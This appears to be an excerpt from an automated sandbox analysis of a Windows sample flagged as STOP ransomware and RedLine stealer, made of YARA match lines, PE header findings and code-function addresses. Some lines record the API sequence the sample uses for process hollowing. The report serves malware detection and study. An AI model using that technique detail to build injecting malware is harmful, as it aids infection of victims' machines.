Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000016.00000002.2411512364.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.2252268227.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2217283375.0000000002220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.2334754959.0000000000790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6432, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1804, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1404, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 5608, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 736, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 3196, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6688, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

PE file contains section with special chars

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Static PE information: section name: A(2uL
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.7.dr	Static PE information: section name: A(2uL

PE file has a writeable .text section

Source: OmbNjE.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02300110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_02300110
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	9_2_022C0110
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02280110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	10_2_02280110

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_00508B71	0_2_00508B71
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0040839C	0_2_0040839C
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02307220	0_2_02307220
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023822C0	0_2_023822C0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0234E37C	0_2_0234E37C
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02307393	0_2_02307393
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0231F030	0_2_0231F030
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230A026	0_2_0230A026
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230B000	0_2_0230B000
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230B0B0	0_2_0230B0B0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023030F0	0_2_023030F0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023070E0	0_2_023070E0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023100D0	0_2_023100D0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02309120	0_2_02309120
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0234E141	0_2_0234E141
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0232D1A4	0_2_0232D1A4
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230A699	0_2_0230A699
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0234B69F	0_2_0234B69F
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230E6E0	0_2_0230E6E0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230C760	0_2_0230C760
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230A79A	0_2_0230A79A
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0232D7F1	0_2_0232D7F1
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02303520	0_2_02303520
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02307520	0_2_02307520
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230CA10	0_2_0230CA10
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02307A80	0_2_02307A80
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02310B00	0_2_02310B00
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02302B60	0_2_02302B60
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230DBE0	0_2_0230DBE0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02307880	0_2_02307880
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023218D0	0_2_023218D0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0231A930	0_2_0231A930
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0230A916	0_2_0230A916
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0232F9B0	0_2_0232F9B0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0232E9A3	0_2_0232E9A3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023059F7	0_2_023059F7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_023089D0	0_2_023089D0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02308E60	0_2_02308E60
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02334E9F	0_2_02334E9F
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02342D1E	0_2_02342D1E
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02305DF7	0_2_02305DF7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02305DE7	0_2_02305DE7
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F96076	1_2_00F96076
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F96D00	1_2_00F96D00
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040D240	7_2_0040D240
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00419F90	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040C070	7_2_0040C070
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0042E003	7_2_0042E003
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00408030	7_2_00408030
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00410160	7_2_00410160
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004C8113	7_2_004C8113
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004021C0	7_2_004021C0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0044237E	7_2_0044237E
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004084C0	7_2_004084C0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004344FF	7_2_004344FF
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0043E5A3	7_2_0043E5A3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040A660	7_2_0040A660
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0041E690	7_2_0041E690
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00406740	7_2_00406740
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00402750	7_2_00402750
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040A710	7_2_0040A710
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00408780	7_2_00408780
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0042C804	7_2_0042C804
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00406880	7_2_00406880
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004349F3	7_2_004349F3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004069F3	7_2_004069F3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00402B80	7_2_00402B80
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00406B80	7_2_00406B80
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0044ACFF	7_2_0044ACFF
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0042CE51	7_2_0042CE51
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00434E0B	7_2_00434E0B
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00406EE0	7_2_00406EE0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00420F30	7_2_00420F30
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00405057	7_2_00405057
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0042F010	7_2_0042F010
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004070E0	7_2_004070E0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004391F6	7_2_004391F6
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00435240	7_2_00435240
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004C9343	7_2_004C9343
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00405447	7_2_00405447
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00405457	7_2_00405457
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00449506	7_2_00449506
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0044B5B1	7_2_0044B5B1
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00435675	7_2_00435675
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00409686	7_2_00409686
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040F730	7_2_0040F730
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0044D7A1	7_2_0044D7A1
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00481920	7_2_00481920
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0044D9DC	7_2_0044D9DC
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00449A71	7_2_00449A71
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00443B40	7_2_00443B40
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00409CF9	7_2_00409CF9
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040DD40	7_2_0040DD40
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00427D6C	7_2_00427D6C
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040BDC0	7_2_0040BDC0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00409DFA	7_2_00409DFA
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00409F76	7_2_00409F76
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0046BFE0	7_2_0046BFE0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00449FE3	7_2_00449FE3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C7220	9_2_022C7220
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_023422C0	9_2_023422C0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_0230E37C	9_2_0230E37C
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C7393	9_2_022C7393
